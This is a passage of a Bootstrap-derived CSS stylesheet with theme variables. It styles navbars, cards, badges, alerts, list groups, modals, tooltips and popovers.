}
.navbar-expand .navbar-nav {
flex-direction: row
}
.navbar-expand .navbar-nav .dropdown-menu {
position: absolute
}
.navbar-expand .navbar-nav .nav-link {
padding-right: .5rem;
padding-left: .5rem
}
.navbar-expand>.container,
.navbar-expand>.container-fluid,
.navbar-expand>.container-sm,
.navbar-expand>.container-md,
.navbar-expand>.container-lg,
.navbar-expand>.container-xl {
flex-wrap: nowrap
}
.navbar-expand .navbar-nav-scroll {
overflow: visible
}
.navbar-expand .navbar-collapse {
display: flex !important;
flex-basis: auto
}
.navbar-expand .navbar-toggler {
display: none
}
.navbar-light .navbar-brand {
color: var(--onsurface-900, #4d5b70)
}
.navbar-light .navbar-brand:hover,
.navbar-light .navbar-brand:focus {
color: var(--onsurface-900, #4d5b70)
}
.navbar-light .navbar-nav .nav-link {
color: var(--onsurface-900, #4d5b70)
}
.navbar-light .navbar-nav .nav-link:hover,
.navbar-light .navbar-nav .nav-link:focus {
color: var(--onsurface-900, #4d5b70)
}
.navbar-light .navbar-nav .nav-link.disabled {
color: var(--onsurface-200, #d2d5dc)
}
.navbar-light .navbar-nav .show>.nav-link,
.navbar-light .navbar-nav .active>.nav-link,
.navbar-light .navbar-nav .nav-link.show,
.navbar-light .navbar-nav .nav-link.active {
color: var(--onsurface-900, #4d5b70)
}
.navbar-light .navbar-toggler {
color: var(--onsurface-900, #4d5b70);
border-color: #0000001a
}
.navbar-light .navbar-toggler-icon {
background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='30' height='30' viewBox='0 0 30 30'%3e%3cpath stroke='var%28--onsurface-900, %234d5b70%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")
}
.navbar-light .navbar-text,
.navbar-light .navbar-text a {
color: var(--onsurface-900, #4d5b70)
}
.navbar-light .navbar-text a:hover,
.navbar-light .navbar-text a:focus {
color: var(--onsurface-900, #4d5b70)
}
.navbar-dark .navbar-brand {
color: #fff
}
.navbar-dark .navbar-brand:hover,
.navbar-dark .navbar-brand:focus {
color: #fff
}
.navbar-dark .navbar-nav .nav-link {
color: #fff
}
.navbar-dark .navbar-nav .nav-link:hover,
.navbar-dark .navbar-nav .nav-link:focus {
color: #ffffffbf
}
.navbar-dark .navbar-nav .nav-link.disabled {
color: #ffffff40
}
.navbar-dark .navbar-nav .show>.nav-link,
.navbar-dark .navbar-nav .active>.nav-link,
.navbar-dark .navbar-nav .nav-link.show,
.navbar-dark .navbar-nav .nav-link.active {
color: #fff
}
.navbar-dark .navbar-toggler {
color: #fff;
border-color: #ffffff1a
}
.navbar-dark .navbar-toggler-icon {
background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='30' height='30' viewBox='0 0 30 30'%3e%3cpath stroke='%23ffffff' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")
}
.navbar-dark .navbar-text,
.navbar-dark .navbar-text a {
color: #fff
}
.navbar-dark .navbar-text a:hover,
.navbar-dark .navbar-text a:focus {
color: #fff
}
.card {
position: relative;
display: flex;
flex-direction: column;
min-width: 0;
word-wrap: break-word;
background-color: #fff;
background-clip: border-box;
border: 1px solid rgba(0, 0, 0, .125);
border-radius: 8px
}
.card>hr {
margin-right: 0;
margin-left: 0
}
.card>.list-group {
border-top: inherit;
border-bottom: inherit
}
.card>.list-group:first-child {
border-top-width: 0;
border-top-left-radius: 7px;
border-top-right-radius: 7px
}
.card>.list-group:last-child {
border-bottom-width: 0;
border-bottom-right-radius: 7px;
border-bottom-left-radius: 7px
}
.card>.card-header+.list-group,
.card>.list-group+.card-footer {
border-top: 0
}
.card-body {
flex: 1 1 auto;
min-height: 1px;
padding: 1.25rem
}
.card-title {
margin-bottom: .75rem
}
.card-subtitle {
margin-top: -.375rem;
margin-bottom: 0
}
.card-text:last-child {
margin-bottom: 0
}
.card-link:hover {
text-decoration: none
}
.card-link+.card-link {
margin-left: 1.25rem
}
.card-header {
padding: .75rem 1.25rem;
margin-bottom: 0;
background-color: #00000008;
border-bottom: 1px solid rgba(0, 0, 0, .125)
}
.card-header:first-child {
border-radius: 7px 7px 0 0
}
.card-footer {
padding: .75rem 1.25rem;
background-color: #00000008;
border-top: 1px solid rgba(0, 0, 0, .125)
}
.card-footer:last-child {
border-radius: 0 0 7px 7px
}
.card-header-tabs {
margin-right: -.625rem;
margin-bottom: -.75rem;
margin-left: -.625rem;
border-bottom: 0
}
.card-header-pills {
margin-right: -.625rem;
margin-left: -.625rem
}
.card-img-overlay {
position: absolute;
inset: 0;
padding: 1.25rem;
border-radius: 7px
}
.card-img,
.card-img-top,
.card-img-bottom {
flex-shrink: 0;
width: 100%
}
.card-img,
.card-img-top {
border-top-left-radius: 7px;
border-top-right-radius: 7px
}
.card-img,
.card-img-bottom {
border-bottom-right-radius: 7px;
border-bottom-left-radius: 7px
}
.card-deck .card {
margin-bottom: 16px
}
@media (min-width: 576px) {
.card-deck {
display: flex;
flex-flow: row wrap;
margin-right: -16px;
margin-left: -16px
}
.card-deck .card {
flex: 1 0 0%;
margin-right: 16px;
margin-bottom: 0;
margin-left: 16px
}
}
.card-group>.card {
margin-bottom: 16px
}
@media (min-width: 576px) {
.card-group {
display: flex;
flex-flow: row wrap
}
.card-group>.card {
flex: 1 0 0%;
margin-bottom: 0
}
.card-group>.card+.card {
margin-left: 0;
border-left: 0
}
.card-group>.card:not(:last-child) {
border-top-right-radius: 0;
border-bottom-right-radius: 0
}
.card-group>.card:not(:last-child) .card-img-top,
.card-group>.card:not(:last-child) .card-header {
border-top-right-radius: 0
}
.card-group>.card:not(:last-child) .card-img-bottom,
.card-group>.card:not(:last-child) .card-footer {
border-bottom-right-radius: 0
}
.card-group>.card:not(:first-child) {
border-top-left-radius: 0;
border-bottom-left-radius: 0
}
.card-group>.card:not(:first-child) .card-img-top,
.card-group>.card:not(:first-child) .card-header {
border-top-left-radius: 0
}
.card-group>.card:not(:first-child) .card-img-bottom,
.card-group>.card:not(:first-child) .card-footer {
border-bottom-left-radius: 0
}
}
.card-columns .card {
margin-bottom: .75rem
}
@media (min-width: 576px) {
.card-columns {
column-count: 3;
column-gap: 1.25rem;
orphans: 1;
widows: 1
}
.card-columns .card {
display: inline-block;
width: 100%
}
}
.accordion {
overflow-anchor: none
}
.accordion>.card {
overflow: hidden
}
.accordion>.card:not(:last-of-type) {
border-bottom: 0;
border-bottom-right-radius: 0;
border-bottom-left-radius: 0
}
.accordion>.card:not(:first-of-type) {
border-top-left-radius: 0;
border-top-right-radius: 0
}
.accordion>.card>.card-header {
border-radius: 0;
margin-bottom: -1px
}
.breadcrumb {
display: flex;
flex-wrap: wrap;
padding: .75rem 1rem;
margin-bottom: 1rem;
list-style: none;
background-color: #e9ecef;
border-radius: 8px
}
.breadcrumb-item+.breadcrumb-item {
padding-left: .5rem
}
.breadcrumb-item+.breadcrumb-item:before {
float: left;
padding-right: .5rem;
color: #6c757d;
content: "/"
}
.breadcrumb-item+.breadcrumb-item:hover:before {
text-decoration: underline
}
.breadcrumb-item+.breadcrumb-item:hover:before {
text-decoration: none
}
.breadcrumb-item.active {
color: #6c757d
}
.pagination {
display: flex;
padding-left: 0;
list-style: none;
border-radius: 8px
}
.page-link {
position: relative;
display: block;
padding: .5rem .75rem;
margin-left: -1px;
line-height: 1.25;
color: #007bff;
background-color: #fff;
border: 1px solid #dee2e6
}
.page-link:hover {
z-index: 2;
color: #0056b3;
text-decoration: none;
background-color: #e9ecef;
border-color: #dee2e6
}
.page-link:focus {
z-index: 3;
outline: 0;
box-shadow: none
}
.page-item:first-child .page-link {
margin-left: 0;
border-top-left-radius: 8px;
border-bottom-left-radius: 8px
}
.page-item:last-child .page-link {
border-top-right-radius: 8px;
border-bottom-right-radius: 8px
}
.page-item.active .page-link {
z-index: 3;
color: #fff;
background-color: #007bff;
border-color: #007bff
}
.page-item.disabled .page-link {
color: #6c757d;
pointer-events: none;
cursor: auto;
background-color: #fff;
border-color: #dee2e6
}
.pagination-lg .page-link {
padding: .75rem 1.5rem;
font-size: 1.25rem;
line-height: 1.5
}
.pagination-lg .page-item:first-child .page-link {
border-top-left-radius: .3rem;
border-bottom-left-radius: .3rem
}
.pagination-lg .page-item:last-child .page-link {
border-top-right-radius: .3rem;
border-bottom-right-radius: .3rem
}
.pagination-sm .page-link {
padding: .25rem .5rem;
font-size: .875rem;
line-height: 1.5
}
.pagination-sm .page-item:first-child .page-link {
border-top-left-radius: .2rem;
border-bottom-left-radius: .2rem
}
.pagination-sm .page-item:last-child .page-link {
border-top-right-radius: .2rem;
border-bottom-right-radius: .2rem
}
.badge {
display: inline-block;
padding: .25em .4em;
font-size: 75%;
font-weight: 700;
line-height: 1;
text-align: center;
white-space: nowrap;
vertical-align: baseline;
border-radius: 8px;
transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out
}
@media (prefers-reduced-motion: reduce) {
.badge {
transition: none
}
}
a.badge:hover,
a.badge:focus {
text-decoration: none
}
.badge:empty {
display: none
}
.btn .badge {
position: relative;
top: -1px
}
.badge-pill {
padding-right: .6em;
padding-left: .6em;
border-radius: 10rem
}
.badge-primary {
color: #fff;
background-color: #007bff
}
a.badge-primary:hover,
a.badge-primary:focus {
color: #fff;
background-color: #0062cc
}
a.badge-primary:focus,
a.badge-primary.focus {
outline: 0;
box-shadow: 0 0 0 .2rem #007bff80
}
.badge-secondary {
color: #fff;
background-color: #6c757d
}
a.badge-secondary:hover,
a.badge-secondary:focus {
color: #fff;
background-color: #545b62
}
a.badge-secondary:focus,
a.badge-secondary.focus {
outline: 0;
box-shadow: 0 0 0 .2rem #6c757d80
}
.badge-success {
color: #212529;
background-color: #6ac90f
}
a.badge-success:hover,
a.badge-success:focus {
color: #212529;
background-color: #519a0b
}
a.badge-success:focus,
a.badge-success.focus {
outline: 0;
box-shadow: 0 0 0 .2rem #6ac90f80
}
.badge-info {
color: #fff;
background-color: #17a2b8
}
a.badge-info:hover,
a.badge-info:focus {
color: #fff;
background-color: #117a8b
}
a.badge-info:focus,
a.badge-info.focus {
outline: 0;
box-shadow: 0 0 0 .2rem #17a2b880
}
.badge-warning {
color: #212529;
background-color: #ffc107
}
a.badge-warning:hover,
a.badge-warning:focus {
color: #212529;
background-color: #d39e00
}
a.badge-warning:focus,
a.badge-warning.focus {
outline: 0;
box-shadow: 0 0 0 .2rem #ffc10780
}
.badge-danger {
color: #fff;
background-color: #dc3545
}
a.badge-danger:hover,
a.badge-danger:focus {
color: #fff;
background-color: #bd2130
}
a.badge-danger:focus,
a.badge-danger.focus {
outline: 0;
box-shadow: 0 0 0 .2rem #dc354580
}
.badge-light {
color: #212529;
background-color: #f8f9fa
}
a.badge-light:hover,
a.badge-light:focus {
color: #212529;
background-color: #dae0e5
}
a.badge-light:focus,
a.badge-light.focus {
outline: 0;
box-shadow: 0 0 0 .2rem #f8f9fa80
}
.badge-dark {
color: #fff;
background-color: #343a40
}
a.badge-dark:hover,
a.badge-dark:focus {
color: #fff;
background-color: #1d2124
}
a.badge-dark:focus,
a.badge-dark.focus {
outline: 0;
box-shadow: 0 0 0 .2rem #343a4080
}
.jumbotron {
padding: 2rem 1rem;
margin-bottom: 2rem;
background-color: #e9ecef;
border-radius: .3rem
}
@media (min-width: 576px) {
.jumbotron {
padding: 4rem 2rem
}
}
.jumbotron-fluid {
padding-right: 0;
padding-left: 0;
border-radius: 0
}
.alert {
position: relative;
padding: .75rem 1.25rem;
margin-bottom: 1rem;
border: 1px solid transparent;
border-radius: 8px
}
.alert-heading {
color: inherit
}
.alert-link {
font-weight: 700
}
.alert-dismissible {
padding-right: 4rem
}
.alert-dismissible .close {
position: absolute;
top: 0;
right: 0;
z-index: 2;
padding: .75rem 1.25rem;
color: inherit
}
.alert-primary {
color: #004085;
background-color: #cce5ff;
border-color: #b8daff
}
.alert-primary hr {
border-top-color: #9fcdff
}
.alert-primary .alert-link {
color: #002752
}
.alert-secondary {
color: #383d41;
background-color: #e2e3e5;
border-color: #d6d8db
}
.alert-secondary hr {
border-top-color: #c8cbcf
}
.alert-secondary .alert-link {
color: #202326
}
.alert-success {
color: #376908;
background-color: #e1f4cf;
border-color: #d5f0bc
}
.alert-success hr {
border-top-color: #c8eba7
}
.alert-success .alert-link {
color: #1e3a04
}
.alert-info {
color: #0c5460;
background-color: #d1ecf1;
border-color: #bee5eb
}
.alert-info hr {
border-top-color: #abdde5
}
.alert-info .alert-link {
color: #062c33
}
.alert-warning {
color: #856404;
background-color: #fff3cd;
border-color: #ffeeba
}
.alert-warning hr {
border-top-color: #ffe8a1
}
.alert-warning .alert-link {
color: #533f03
}
.alert-danger {
color: #721c24;
background-color: #f8d7da;
border-color: #f5c6cb
}
.alert-danger hr {
border-top-color: #f1b0b7
}
.alert-danger .alert-link {
color: #491217
}
.alert-light {
color: #818182;
background-color: #fefefe;
border-color: #fdfdfe
}
.alert-light hr {
border-top-color: #ececf6
}
.alert-light .alert-link {
color: #686868
}
.alert-dark {
color: #1b1e21;
background-color: #d6d8d9;
border-color: #c6c8ca
}
.alert-dark hr {
border-top-color: #b9bbbe
}
.alert-dark .alert-link {
color: #040505
}
@keyframes progress-bar-stripes {
0% {
background-position: 1rem 0
}
to {
background-position: 0 0
}
}
.progress {
display: flex;
height: 1rem;
overflow: hidden;
line-height: 0;
font-size: .75rem;
background-color: #e9ecef;
border-radius: 8px
}
.progress-bar {
display: flex;
flex-direction: column;
justify-content: center;
overflow: hidden;
color: #fff;
text-align: center;
white-space: nowrap;
background-color: #007bff;
transition: width .6s ease
}
@media (prefers-reduced-motion: reduce) {
.progress-bar {
transition: none
}
}
.progress-bar-striped {
background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
background-size: 1rem 1rem
}
.progress-bar-animated {
animation: 1s linear infinite progress-bar-stripes
}
@media (prefers-reduced-motion: reduce) {
.progress-bar-animated {
animation: none
}
}
.media {
display: flex;
align-items: flex-start
}
.media-body {
flex: 1
}
.list-group {
display: flex;
flex-direction: column;
padding-left: 0;
margin-bottom: 0;
border-radius: 8px
}
.list-group-item-action {
width: 100%;
color: #495057;
text-align: inherit
}
.list-group-item-action:hover,
.list-group-item-action:focus {
z-index: 1;
color: #495057;
text-decoration: none;
background-color: #f8f9fa
}
.list-group-item-action:active {
color: #212529;
background-color: #e9ecef
}
.list-group-item {
position: relative;
display: block;
padding: .75rem 1.25rem;
background-color: #fff;
border: 1px solid rgba(0, 0, 0, .125)
}
.list-group-item:first-child {
border-top-left-radius: inherit;
border-top-right-radius: inherit
}
.list-group-item:last-child {
border-bottom-right-radius: inherit;
border-bottom-left-radius: inherit
}
.list-group-item.disabled,
.list-group-item:disabled {
color: #6c757d;
pointer-events: none;
background-color: #fff
}
.list-group-item.active {
z-index: 2;
color: #fff;
background-color: #007bff;
border-color: #007bff
}
.list-group-item+.list-group-item {
border-top-width: 0
}
.list-group-item+.list-group-item.active {
margin-top: -1px;
border-top-width: 1px
}
.list-group-horizontal {
flex-direction: row
}
.list-group-horizontal>.list-group-item:first-child {
border-bottom-left-radius: 8px;
border-top-right-radius: 0
}
.list-group-horizontal>.list-group-item:last-child {
border-top-right-radius: 8px;
border-bottom-left-radius: 0
}
.list-group-horizontal>.list-group-item.active {
margin-top: 0
}
.list-group-horizontal>.list-group-item+.list-group-item {
border-top-width: 1px;
border-left-width: 0
}
.list-group-horizontal>.list-group-item+.list-group-item.active {
margin-left: -1px;
border-left-width: 1px
}
@media (min-width: 576px) {
.list-group-horizontal-sm {
flex-direction: row
}
.list-group-horizontal-sm>.list-group-item:first-child {
border-bottom-left-radius: 8px;
border-top-right-radius: 0
}
.list-group-horizontal-sm>.list-group-item:last-child {
border-top-right-radius: 8px;
border-bottom-left-radius: 0
}
.list-group-horizontal-sm>.list-group-item.active {
margin-top: 0
}
.list-group-horizontal-sm>.list-group-item+.list-group-item {
border-top-width: 1px;
border-left-width: 0
}
.list-group-horizontal-sm>.list-group-item+.list-group-item.active {
margin-left: -1px;
border-left-width: 1px
}
}
@media (min-width: 768px) {
.list-group-horizontal-md {
flex-direction: row
}
.list-group-horizontal-md>.list-group-item:first-child {
border-bottom-left-radius: 8px;
border-top-right-radius: 0
}
.list-group-horizontal-md>.list-group-item:last-child {
border-top-right-radius: 8px;
border-bottom-left-radius: 0
}
.list-group-horizontal-md>.list-group-item.active {
margin-top: 0
}
.list-group-horizontal-md>.list-group-item+.list-group-item {
border-top-width: 1px;
border-left-width: 0
}
.list-group-horizontal-md>.list-group-item+.list-group-item.active {
margin-left: -1px;
border-left-width: 1px
}
}
@media (min-width: 992px) {
.list-group-horizontal-lg {
flex-direction: row
}
.list-group-horizontal-lg>.list-group-item:first-child {
border-bottom-left-radius: 8px;
border-top-right-radius: 0
}
.list-group-horizontal-lg>.list-group-item:last-child {
border-top-right-radius: 8px;
border-bottom-left-radius: 0
}
.list-group-horizontal-lg>.list-group-item.active {
margin-top: 0
}
.list-group-horizontal-lg>.list-group-item+.list-group-item {
border-top-width: 1px;
border-left-width: 0
}
.list-group-horizontal-lg>.list-group-item+.list-group-item.active {
margin-left: -1px;
border-left-width: 1px
}
}
@media (min-width: 1200px) {
.list-group-horizontal-xl {
flex-direction: row
}
.list-group-horizontal-xl>.list-group-item:first-child {
border-bottom-left-radius: 8px;
border-top-right-radius: 0
}
.list-group-horizontal-xl>.list-group-item:last-child {
border-top-right-radius: 8px;
border-bottom-left-radius: 0
}
.list-group-horizontal-xl>.list-group-item.active {
margin-top: 0
}
.list-group-horizontal-xl>.list-group-item+.list-group-item {
border-top-width: 1px;
border-left-width: 0
}
.list-group-horizontal-xl>.list-group-item+.list-group-item.active {
margin-left: -1px;
border-left-width: 1px
}
}
.list-group-flush {
border-radius: 0
}
.list-group-flush>.list-group-item {
border-width: 0 0 1px
}
.list-group-flush>.list-group-item:last-child {
border-bottom-width: 0
}
.list-group-item-primary {
color: #004085;
background-color: #b8daff
}
.list-group-item-primary.list-group-item-action:hover,
.list-group-item-primary.list-group-item-action:focus {
color: #004085;
background-color: #9fcdff
}
.list-group-item-primary.list-group-item-action.active {
color: #fff;
background-color: #004085;
border-color: #004085
}
.list-group-item-secondary {
color: #383d41;
background-color: #d6d8db
}
.list-group-item-secondary.list-group-item-action:hover,
.list-group-item-secondary.list-group-item-action:focus {
color: #383d41;
background-color: #c8cbcf
}
.list-group-item-secondary.list-group-item-action.active {
color: #fff;
background-color: #383d41;
border-color: #383d41
}
.list-group-item-success {
color: #376908;
background-color: #d5f0bc
}
.list-group-item-success.list-group-item-action:hover,
.list-group-item-success.list-group-item-action:focus {
color: #376908;
background-color: #c8eba7
}
.list-group-item-success.list-group-item-action.active {
color: #fff;
background-color: #376908;
border-color: #376908
}
.list-group-item-info {
color: #0c5460;
background-color: #bee5eb
}
.list-group-item-info.list-group-item-action:hover,
.list-group-item-info.list-group-item-action:focus {
color: #0c5460;
background-color: #abdde5
}
.list-group-item-info.list-group-item-action.active {
color: #fff;
background-color: #0c5460;
border-color: #0c5460
}
.list-group-item-warning {
color: #856404;
background-color: #ffeeba
}
.list-group-item-warning.list-group-item-action:hover,
.list-group-item-warning.list-group-item-action:focus {
color: #856404;
background-color: #ffe8a1
}
.list-group-item-warning.list-group-item-action.active {
color: #fff;
background-color: #856404;
border-color: #856404
}
.list-group-item-danger {
color: #721c24;
background-color: #f5c6cb
}
.list-group-item-danger.list-group-item-action:hover,
.list-group-item-danger.list-group-item-action:focus {
color: #721c24;
background-color: #f1b0b7
}
.list-group-item-danger.list-group-item-action.active {
color: #fff;
background-color: #721c24;
border-color: #721c24
}
.list-group-item-light {
color: #818182;
background-color: #fdfdfe
}
.list-group-item-light.list-group-item-action:hover,
.list-group-item-light.list-group-item-action:focus {
color: #818182;
background-color: #ececf6
}
.list-group-item-light.list-group-item-action.active {
color: #fff;
background-color: #818182;
border-color: #818182
}
.list-group-item-dark {
color: #1b1e21;
background-color: #c6c8ca
}
.list-group-item-dark.list-group-item-action:hover,
.list-group-item-dark.list-group-item-action:focus {
color: #1b1e21;
background-color: #b9bbbe
}
.list-group-item-dark.list-group-item-action.active {
color: #fff;
background-color: #1b1e21;
border-color: #1b1e21
}
.close {
float: right;
font-size: 1.5rem;
font-weight: 700;
line-height: 1;
color: #000;
text-shadow: 0 1px 0 #ffffff;
opacity: .5
}
.close:hover {
color: #000;
text-decoration: none
}
.close:not(:disabled):not(.disabled):hover,
.close:not(:disabled):not(.disabled):focus {
opacity: .75
}
button.close {
padding: 0;
background-color: transparent;
border: 0
}
a.close.disabled {
pointer-events: none
}
.toast {
flex-basis: 350px;
max-width: 350px;
font-size: .875rem;
background-color: #ffffffd9;
background-clip: padding-box;
border: 1px solid rgba(0, 0, 0, .1);
box-shadow: 0 .25rem .75rem #0000001a;
opacity: 0;
border-radius: .25rem
}
.toast:not(:last-child) {
margin-bottom: .75rem
}
.toast.showing {
opacity: 1
}
.toast.show {
display: block;
opacity: 1
}
.toast.hide {
display: none
}
.toast-header {
display: flex;
align-items: center;
padding: .25rem .75rem;
color: #6c757d;
background-color: #ffffffd9;
background-clip: padding-box;
border-bottom: 1px solid rgba(0, 0, 0, .05);
border-top-left-radius: calc(.25rem - 1px);
border-top-right-radius: calc(.25rem - 1px)
}
.toast-body {
padding: .75rem
}
.modal-open {
overflow: hidden
}
.modal-open .modal {
overflow-x: hidden;
overflow-y: auto
}
.modal {
position: fixed;
top: 0;
left: 0;
z-index: 1050;
display: none;
width: 100%;
height: 100%;
overflow: hidden;
outline: 0
}
.modal-dialog {
position: relative;
width: auto;
margin: .5rem;
pointer-events: none
}
.modal.fade .modal-dialog {
transition: transform .3s ease-out;
transform: translateY(-50px)
}
@media (prefers-reduced-motion: reduce) {
.modal.fade .modal-dialog {
transition: none
}
}
.modal.show .modal-dialog {
transform: none
}
.modal.modal-static .modal-dialog {
transform: scale(1.02)
}
.modal-dialog-scrollable {
display: flex;
max-height: calc(100% - 1rem)
}
.modal-dialog-scrollable .modal-content {
max-height: calc(100vh - 1rem);
overflow: hidden
}
.modal-dialog-scrollable .modal-header,
.modal-dialog-scrollable .modal-footer {
flex-shrink: 0
}
.modal-dialog-scrollable .modal-body {
overflow-y: auto
}
.modal-dialog-centered {
display: flex;
align-items: center;
min-height: calc(100% - 1rem)
}
.modal-dialog-centered:before {
display: block;
height: calc(100vh - 1rem);
height: min-content;
content: ""
}
.modal-dialog-centered.modal-dialog-scrollable {
flex-direction: column;
justify-content: center;
height: 100%
}
.modal-dialog-centered.modal-dialog-scrollable .modal-content {
max-height: none
}
.modal-dialog-centered.modal-dialog-scrollable:before {
content: none
}
.modal-content {
position: relative;
display: flex;
flex-direction: column;
width: 100%;
pointer-events: auto;
background-color: #fff;
background-clip: padding-box;
border: 1px solid rgba(0, 0, 0, .2);
border-radius: .3rem;
outline: 0
}
.modal-backdrop {
position: fixed;
top: 0;
left: 0;
z-index: 1040;
width: 100vw;
height: 100vh;
background-color: #000
}
.modal-backdrop.fade {
opacity: 0
}
.modal-backdrop.show {
opacity: .5
}
.modal-header {
display: flex;
align-items: flex-start;
justify-content: space-between;
padding: 1rem;
border-bottom: 1px solid #dee2e6;
border-top-left-radius: calc(.3rem - 1px);
border-top-right-radius: calc(.3rem - 1px)
}
.modal-header .close {
padding: 1rem;
margin: -1rem -1rem -1rem auto
}
.modal-title {
margin-bottom: 0;
line-height: 1.5
}
.modal-body {
position: relative;
flex: 1 1 auto;
padding: 1rem
}
.modal-footer {
display: flex;
flex-wrap: wrap;
align-items: center;
justify-content: flex-end;
padding: .75rem;
border-top: 1px solid #dee2e6;
border-bottom-right-radius: calc(.3rem - 1px);
border-bottom-left-radius: calc(.3rem - 1px)
}
.modal-footer>* {
margin: .25rem
}
.modal-scrollbar-measure {
position: absolute;
top: -9999px;
width: 50px;
height: 50px;
overflow: scroll
}
@media (min-width: 576px) {
.modal-dialog {
max-width: 576px;
margin: 1.75rem auto
}
.modal-dialog-scrollable {
max-height: calc(100% - 3.5rem)
}
.modal-dialog-scrollable .modal-content {
max-height: calc(100vh - 3.5rem)
}
.modal-dialog-centered {
min-height: calc(100% - 3.5rem)
}
.modal-dialog-centered:before {
height: calc(100vh - 3.5rem);
height: min-content
}
.modal-sm {
max-width: 448px
}
}
@media (min-width: 992px) {
.modal-lg,
.modal-xl {
max-width: 800px
}
}
@media (min-width: 1200px) {
.modal-xl {
max-width: 1140px
}
}
.tooltip {
position: absolute;
z-index: 1070;
display: block;
margin: 0;
font-family: var(--bcp-font-family-primary-regular, "Flexo-Regular"), helvetica, arial, sans-serif;
font-style: normal;
font-weight: 400;
line-height: 1.5;
text-align: left;
text-align: start;
text-decoration: none;
text-shadow: none;
text-transform: none;
letter-spacing: normal;
word-break: normal;
word-spacing: normal;
white-space: normal;
line-break: auto;
font-size: .875rem;
word-wrap: break-word;
opacity: 0
}
.tooltip.show {
opacity: .9
}
.tooltip .arrow {
position: absolute;
display: block;
width: .8rem;
height: .4rem
}
.tooltip .arrow:before {
position: absolute;
content: "";
border-color: transparent;
border-style: solid
}
.bs-tooltip-top,
.bs-tooltip-auto[x-placement^=top] {
padding: .4rem 0
}
.bs-tooltip-top .arrow,
.bs-tooltip-auto[x-placement^=top] .arrow {
bottom: 0
}
.bs-tooltip-top .arrow:before,
.bs-tooltip-auto[x-placement^=top] .arrow:before {
top: 0;
border-width: .4rem .4rem 0;
border-top-color: #000
}
.bs-tooltip-right,
.bs-tooltip-auto[x-placement^=right] {
padding: 0 .4rem
}
.bs-tooltip-right .arrow,
.bs-tooltip-auto[x-placement^=right] .arrow {
left: 0;
width: .4rem;
height: .8rem
}
.bs-tooltip-right .arrow:before,
.bs-tooltip-auto[x-placement^=right] .arrow:before {
right: 0;
border-width: .4rem .4rem .4rem 0;
border-right-color: #000
}
.bs-tooltip-bottom,
.bs-tooltip-auto[x-placement^=bottom] {
padding: .4rem 0
}
.bs-tooltip-bottom .arrow,
.bs-tooltip-auto[x-placement^=bottom] .arrow {
top: 0
}
.bs-tooltip-bottom .arrow:before,
.bs-tooltip-auto[x-placement^=bottom] .arrow:before {
bottom: 0;
border-width: 0 .4rem .4rem;
border-bottom-color: #000
}
.bs-tooltip-left,
.bs-tooltip-auto[x-placement^=left] {
padding: 0 .4rem
}
.bs-tooltip-left .arrow,
.bs-tooltip-auto[x-placement^=left] .arrow {
right: 0;
width: .4rem;
height: .8rem
}
.bs-tooltip-left .arrow:before,
.bs-tooltip-auto[x-placement^=left] .arrow:before {
left: 0;
border-width: .4rem 0 .4rem .4rem;
border-left-color: #000
}
.tooltip-inner {
max-width: 200px;
padding: .25rem .5rem;
color: #fff;
text-align: center;
background-color: #000;
border-radius: 8px
}
.popover {
position: absolute;
top: 0;
left: 0;
z-index: 1060;
display: block;
max-width: 276px;
font-family: var(--bcp-font-family-primary-regular, "Flexo-Regular"), helvetica, arial, sans-serif;
font-style: normal;
font-weight: 400;
line-height: 1.5;
text-align: left;
text-align: start;
text-decoration: none;
text-shadow: none;
text-transform: none;
letter-spacing: normal;
word-break: normal;
word-spacing: normal;
white-space: normal;
line-break: auto;
font-size: .8125rem;
word-wrap: break-word;
background-color: #fff;
background-clip: padding-box;
border: 1px solid rgba(0, 0, 0, .2);
border-radius: .3rem
}
.popover .arrow {
position: absolute;
display: block;
width: 1rem;
height: .5rem;
margin: 0 .3rem
}
.popover .arrow:before,
.popover .arrow:after {
position: absolute;
display: block;
content: "";
border-color: transparent;
border-style: solid
}
.bs-popover-top,
.bs-popover-auto[x-placement^=top] {
margin-bottom: .5rem
}
.bs-popover-top>.arrow,
.bs-popover-auto[x-placement^=top]>.arrow {
bottom: calc(-.5rem - 1px)
}
.bs-popover-top>.arrow:before,
.bs-popover-auto[x-placement^=top]>.arrow:before {
bottom: 0;
border-width: .5rem .5rem 0;
border-top-color: #00000040
}
.bs-popover-top>.arrow:after,
.bs-popover-auto[x-placement^=top]>.arrow:after {
bottom: 1px;
border-width: .5rem .5rem 0;
border-top-color: #fff
}
.bs-popover-right,
.bs-popover-auto[x-placement^=right] {
margin-left: .5rem
}
.bs-popover-right>.arrow,
.bs-popover-auto[x-placement^=right]>.arrow {
left: calc(-.5rem - 1px);
width: .5rem;
height: 1rem;
margin: .3rem 0
}
.bs-popover-right>.arrow:before,
.bs-popover-auto[x-placement^=right]>.arrow:before {
left: 0;
border-width: .5rem .5rem .5rem 0;
border-right-color: #00000040
}
.bs-popover-right>.arrow:after,
.bs-popover-auto[x-placement^=right]>.arrow:after {
left: 1px;
border-width: .5rem .5rem .5rem 0;
border-right-color: #fff
}
.bs-popover-bottom,
.bs-popover-auto[x-placement^=bottom] {
margin-top: .5rem
}
.bs-popover-bottom>.arrow,
.bs-popover-auto[x-placement^=bottom]>.arrow {
top: calc(-.5rem - 1px)
}
.bs-popover-bottom>.arrow:before,
.bs-popover-auto[x-placement^=bottom]>.arrow:before {
top: 0;
border-width: 0 .5rem .5rem .5rem;
border-bottom-color: #00000040
}
.bs-popover-bottom>.arrow:after,
.bs-popover-auto[x-placement^=bottom]>.arrow:after {
top: 1px;
border-width: 0 .5rem .5rem .5rem;
border-bottom-color: #fff
}
.bs-popover-bottom .popover-header:before,
.bs-popover-auto[x-placement^=bottom] .popover-header:before {
position: absolute;
top: 0;
left: 50%;
display: block;
width: 1rem;
margin-left: -.5rem;
content: "";
border-bottom: 1px solid #f7f7f7
}
.bs-popover-left,
.bs-popover-auto[x-placement^=left] {
margin-right: .5rem
}
.bs-popover-left>.arrow,
